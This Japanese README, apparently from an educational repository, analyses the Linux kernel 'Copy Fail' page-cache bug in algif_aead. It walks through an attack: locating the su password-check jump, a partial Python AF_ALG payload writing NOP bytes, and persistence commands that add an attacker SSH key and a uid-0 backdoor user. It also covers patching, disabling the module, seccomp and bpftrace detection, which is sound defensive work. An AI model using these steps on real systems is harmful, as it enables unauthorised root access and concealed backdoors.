
LinuxカーネルにおけるCopy Fail脆弱性(CVE-2026-31431)の詳細な分析。メモリ破壊のメカニズム、権限昇格のフロー、およびセキュリティへの影響を含む。
LinuxカーネルにおけるCopy Fail脆弱性の教育目的の分析。
メモリ破壊メカニズム、権限昇格フロー、コンテナエスケープ、防御策を解説します。
このリポジトリは教育および研究目的のみを対象としています。
所有していないシステム、または明示的な書面によるテスト許可がないシステムでこの情報を使用しないでください。
すべてのコードスニペットとコマンドは、Linuxカーネル内部の理解を助けるためにのみ提供されています。
CVE-2026-31431、別名 Copy Fail は、Linuxカーネルの脆弱性であり、特権のないローカルユーザーが特別な権限なしにrootへ昇格できるものです。
攻撃は完全にRAM内で行われます。ディスクファイルには一切触れません。つまり、ファイルハッシュはクリーンなままで、タイムスタンプは変更されず、監査ログには何も記録されません。システムが再起動すると、すべての証拠が消えます。
通常ユーザー → algif_aeadバグを悪用 → ページキャッシュを上書き → root
主な特性:
/usr/bin/su — 標的バイナリsu (Switch User) は、ユーザーが別のアカウント — 通常はroot — に切り替えることを可能にします。これはSetUIDバイナリです:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = SetUIDフラグ
s フラグの意味: 任意のユーザーがこのバイナリを実行すると、rootの権限で実行されます。これにより、価値の高い標的となります。
その内部ロジック (簡略化):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
攻撃目標: password_correct() チェックを完全にスキップすること。
Linuxがディスクからファイルを読み取ると、ページキャッシュと呼ばれるRAMにコピーを保持します。
| コンポーネント | 説明 |
|---|---|
| ディスク | ディスク上の元のファイル (本棚) |
| ページキャッシュ | ファイルのRAMコピー (机の上のコピー) |
| CPU | ページキャッシュから読み取り・実行 — 高速 |
| 攻撃者 | RAMコピーを変更; ディスクはそのまま |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← これがページキャッシュ
| タイプ | セキュリティ |
|---|---|
| セーフバッファ — カーネル割り当て、サイズと境界が制御されている | ✅ OK |
| ページキャッシュ — ファイルバッキングされたRAMコピー、共有、実行可能 | ⚠️ 書き込み可能な場合は危険 |
| 誤ったポインタ — バグにより任意の場所を指すアドレス | 🔴 CRITICAL |
AF_ALG (Algorithm Family) は、ユーザースペースプログラムがカーネルの暗号機能 (AES、SHA、AEAD) を使用できるようにするLinuxソケットインターフェースです。
socket(AF_ALG, SOCK_SEQPACKET, 0); // 暗号ソケットを開く
algif_aead は、AF_ALGを介してAEAD暗号化 (例: AES-GCM) を処理するカーネルモジュールです。脆弱性はそのデータコピーステップに存在します。
AF_ALG → algif_aead → AES-GCMエンジン → 出力バッファ
↑
バグはここ
このバグは暗号化ロジックにはありません。メモリ処理にあります — データコピー中に誤ったメモリ領域が選択されます。
destination = safe_output_buffer; // 正しい場所
memcpy(destination, user_data, size); // データが安全に書き込まれる
destination = buffer + WRONG_OFFSET; // バグ: 誤ったポインタ!
memcpy(destination, user_data, size); // データがページキャッシュに書き込まれる
カーネルはセーフ出力バッファに書き込むはずでした。オフセットの計算ミスにより、/usr/bin/su のRAMコピーを保持するページキャッシュに書き込まれます。
このバイナリにはx86-64マシンコードが含まれています。攻撃者は認証失敗をトリガーする条件付きジャンプを標的にします:
攻撃前:
cmp eax, 0 ; 戻り値をチェック
jne 0x1234 ; 失敗の場合 → 拒否へジャンプ
call give_root ; rootを付与
攻撃後 (RAM内で2バイト変更):
cmp eax, 0 ; 同じ
90 90 ; NOP NOP ← ジャンプが置き換えられ、チェックがスキップされる!
call give_root ; CPUはここに直接到達
NOP = No Operation (無操作)。CPUは何もせずに次へ進みます — 認証チェックを完全にスキップします。
「通常のユーザーアカウントだけで十分だ。カーネルが自らミスをする。
ディスクはクリーンのまま。ログも残らない。毎回成功する。」
whoami && id
# uid=1000(user) gid=1000(user) ← 通常ユーザー
uname -r
# 6.1.0-generic ← 脆弱な範囲内
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID確認済み
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"
cat /usr/bin/su > /dev/null
# /usr/bin/su がページキャッシュに読み込まれた ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
探すもの: 認証関数のアドレス、jne/jnz 条件付きジャンプ、およびその正確なバイトオフセット。
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — 条件付きジャンプを置き換える
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# カーネル内部 (簡略化):
destination = buffer + crafted_offset # バグ: 誤ったポインタ
memcpy(destination, payload, 2) # NOPバイトがページキャッシュに書き込まれる
# /usr/bin/su のパスワードチェックがRAM内でNOP NOPになる
su
# Password: (何でも — またはEnterを押すだけ)
# root@victim:/# ← ROOT取得
何が起こったか: システムはRAMから /usr/bin/su を実行しました。パスワードチェックはNOPでした。CPUはそれをスキップしました。give_root() が直接呼び出されました。
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
攻撃後、フォレンジック調査員は次のことを発見します:
sha256sum /usr/bin/su # 以前と同じハッシュ ← ディスクは無傷
diff /usr/bin/su backup/su # 違いなし
grep -r 'attack' /var/log/ # 何もなし
auditd logs # ファイル書き込みは記録されていない
再起動するとRAMはフラッシュされ、すべての証拠が消えます。
コンテナはユーザースペースを分離します — しかしカーネルは共有されており、ページキャッシュはカーネルメモリです。
ホストカーネル
├── コンテナ 1 (分離されたユーザースペース)
│ └── 攻撃者はここにいる
├── コンテナ 2
└── ホストプロセス
ページキャッシュ: すべてのコンテナとホスト間で共有!
エスケープ経路: コンテナ1の攻撃者がホストの /usr/bin/su を読み取る → バグをトリガー → ホストのバイナリがRAM内で変更される → ホストで su を実行するとホストマシン上でrootが得られる。
影響を受けるもの: Docker、Podman、LXC、Kubernetes (共有ノード) — ホストカーネルが脆弱な場合。
これらは観察演習のみです。テストにはラボ環境 (Docker + 旧カーネルVM) を使用してください。
free -h # 前のCache値を確認
cat /usr/bin/su > /dev/null # ファイルをページキャッシュに読み込む
free -h # Cacheがわずかに増加
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# 通常はディスクと同じ — 攻撃成功後は異なる
# /proc/PID/mem の比較にはrootが必要
優先度 1 — カーネル更新 (最善の修正)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
優先度 2 — algif_aead を無効化
sudo modprobe -r algif_aead
echo 'install algif_aead /bin/false' | \
sudo tee /etc/modprobe.d/disable-algif-aead.conf
優先度 3 — アクセス制御
systemdサービスの SystemCallFilter でseccompプロファイルを適用し、信頼できないプロセスのAF_ALGソケットアクセスを制限します。
sudo bpftrace -e '
kprobe:algif_aead_sendmsg {
printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
}
'
# seccompプロファイルで実行 (AF_ALGをブロック)
docker run --security-opt seccomp=custom-profile.json my-image
restricted ポリシーを適用CVE-2026-31431 は、ステルス性 (ディスク不変) + 信頼性 (レースコンディションなし) + コンテナエスケープ を組み合わせており、同クラスの中で特に危険です。
algif_aead モジュールを無効化CVE-2026-31431では、Linuxの暗号モジュール (
algif_aead) にメモリコピーバグがあり、攻撃者が制御するデータがセーフ出力バッファの代わりにページキャッシュに書き込まれます — SetUIDバイナリをRAM内で静かに変更し、ディスク上に痕跡を一切残さずに、任意のローカルユーザーがrootアクセスを取得できるようになります。
このドキュメントは、Linuxカーネルセキュリティ内部の教育的理解のために作成されています。
— 教育目的のみ —
| フィールド | 値 |
|---|
| CVE ID | CVE-2026-31431 |
| 通称 | Copy Fail / algif_aead ページキャッシュ破壊 |
| CVSS v3.1 スコア | 7.8 — CRITICAL |
| 攻撃タイプ | ローカル権限昇格 (LPE) |
| 影響を受けるカーネルバージョン | Linux 5.10 ~ 6.8 (概算) |
| 脆弱なコンポーネント | crypto/algif_aead.c — AF_ALG ソケットインターフェース |
| 悪用の信頼性 | 高 — レースコンディション不要 |
| ディスク上の証拠 | なし — RAMのみの変更 |
| コンテナへの影響 | あり — 共有ページキャッシュによるホストエスケープ |
| パッチ状況 | 利用可能 (上流カーネルパッチ公開済み) |
| CVE | レースコンディション? | ディスク安全? | 信頼性 |
|---|
| CVE-2016-5195 DirtyCow | あり — タイミング必要 | いいえ — ディスク変更 | 中 |
| CVE-2022-0847 DirtyPipe | 最小限 | はい — RAMのみ | 高 |
| CVE-2026-31431 Copy Fail | なし — 直接書き込み | はい — RAMのみ | 非常に高 |
| 検出方法 | 機能するか? |
|---|
| sha256sum / ファイルハッシュ | ❌ ディスクは同一 |
| ファイル変更タイムスタンプ | ❌ ディスクは無傷 |
| auditd ファイル書き込みログ | ❌ ディスク書き込みは発生していない |
プロセスメモリ検査 (/proc) | ✅ リアルタイムで監視されている場合のみ |
| eBPFカーネル監視 | ✅ システムコールレベルの検出 |
| メモリフォレンジック (LiME) | ✅ ただし複雑 |
| 方法 | コマンド / アプローチ |
|---|
| カーネルバージョン | uname -r → パッチ適用済みバージョンと比較 |
| モジュール読み込み済み? | lsmod | grep algif_aead |
| eBPF監視 | bpftrace -e 'kprobe:algif_aead_sendmsg { ... }' |
| プロセスメモリ | cat /proc/PID/maps — ディスクハッシュと比較 |
| auditd | ausearch -sc socket -sv no |
| Falco | ルール: 予期しないmemfdまたはページキャッシュ書き込み |
| メモリフォレンジック | インシデント後の分析用LiMEダンプ |
| CVE / 名称 | レースコンディション? | ディスク安全? | コンテナエスケープ? | 信頼性 |
|---|
| CVE-2016-5195 DirtyCow | あり — タイミング必要 | ❌ ディスク変更 | 部分的 | 中 |
| CVE-2022-0847 DirtyPipe | 最小限 | ✅ RAMのみ | あり | 高 |
| CVE-2026-31431 Copy Fail | なし — 直接書き込み | ✅ RAMのみ | あり — 共有キャッシュ | 非常に高 |
| 用語 | 意味 |
|---|
| 権限昇格 | 許可なく通常ユーザーからrootへ移行すること |
| ページキャッシュ | カーネルが管理するRAM内のファイルコピー |
| SetUIDバイナリ | 任意のユーザーに対してroot権限で実行されるroot所有のファイル |
| 書き込みプリミティブ | バグを通じて得られる任意メモリ書き込み能力 |
| レースコンディション | 正確な実行ウィンドウを必要とするタイミングベースの攻撃 |
| AF_ALG | Linuxカーネル暗号ソケットインターフェース (Algorithm Family) |
| algif_aead | AEAD暗号化カーネルモジュール — 脆弱なコンポーネント |
| memcpy() | メモリコピー関数 — あるアドレスから別のアドレスへデータを移動 |
| NOP | No Operation — 何もせず次へ進むCPU命令 |
| コンテナエスケープ | コンテナから抜け出してホストシステムにアクセスすること |
| eBPF | リアルタイムシステムコール検出のためのカーネルレベル監視ツール |
| LiME | Linux Memory Extractor — フォレンジック分析用RAMダンプツール |
| Seccomp | Secure Computing — システムコールを制限するLinuxメカニズム |
| ELF | Executable and Linkable Format — 標準的なLinuxバイナリ形式 |
| CVE | Common Vulnerabilities and Exposures — 脆弱性識別子 |
| CVSS | Common Vulnerability Scoring System — 標準化された重大度スコアリング |
| カーネルモジュール | カーネルプラグイン (例: デバイスドライバ、暗号ハンドラ) |
| オフセット | あるメモリポイントから別のポイントまでのバイト距離 |
| リバースエンジニアリング | ソースコードなしでコンパイル済みバイナリを分析すること |
| ステップ | アクション |
|---|
| 1 | whoami — 通常ユーザーであることを確認 |
| 2 | uname -r — カーネルが脆弱な範囲 (5.10 – 6.8) にあることを確認 |
| 3 | ls -la /usr/bin/su — SetUIDフラグが存在することを確認 |
| 4 | エクスプロイトスクリプトを実行: AF_ALG → algif_aead → 細工されたペイロード |
| 5 | カーネルバグがトリガー → /usr/bin/su のページキャッシュがRAM内で上書きされる |
| 6 | su を実行 → ROOT取得 (パスワード不要) |
| 7 | 永続化: SSHキーを追加またはバックドアrootユーザーを作成 |